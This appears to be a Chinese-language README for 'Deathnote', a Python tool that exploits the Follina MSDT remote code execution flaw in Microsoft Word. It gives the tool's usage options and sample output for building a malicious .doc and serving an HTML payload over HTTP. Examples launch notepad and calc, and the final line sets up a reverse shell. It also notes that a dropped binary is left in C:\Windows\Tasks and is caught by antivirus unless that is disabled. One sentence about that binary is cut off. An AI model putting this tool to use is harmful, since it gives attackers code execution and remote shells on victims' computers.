当 MSDT 通过 URL 协议从调用应用程序(如 Word)调用时,存在一个远程代码执行漏洞。成功利用此漏洞的攻击者可以以调用应用程序的权限运行任意代码。然后,攻击者可以安装程序、查看、更改或删除数据,或在用户权限允许的上下文中创建新帐户。
使用恶意 Microsoft Word 文档创建 "Deathnote" MS-MSDT 攻击,并通过 HTTP 服务器部署载荷。
usage: follina.py [-h] [--command COMMAND] [--output OUTPUT] [--interface INTERFACE] [--port PORT]
options:
-h, --help show this help message and exit
--command COMMAND, -c COMMAND
command to run on the target (default: Notepad)
--output OUTPUT, -o OUTPUT
output maldoc file (default: ./Deathnote.doc)
--interface INTERFACE, -i INTERFACE
network interface or IP address to host the HTTP server (default: eth0)
--port PORT, -p PORT port to serve the HTTP server (default: 8000)
启动 notepad.exe:
$ python3 Deathnote.py
[+] copied staging doc /tmp/9mcvbrwo
[+] created maldoc ./Deathnote.doc
[+] serving html payload on :8000
启动 calc.exe:
$ python3 Deathnote.py -c "calc"

C:\Windows\Tasks 中。它不会清理该二进制文件。除非禁用杀毒软件,否则会触发病毒检测。获取 reverse shell:
python3 Deathnote.py -p 1234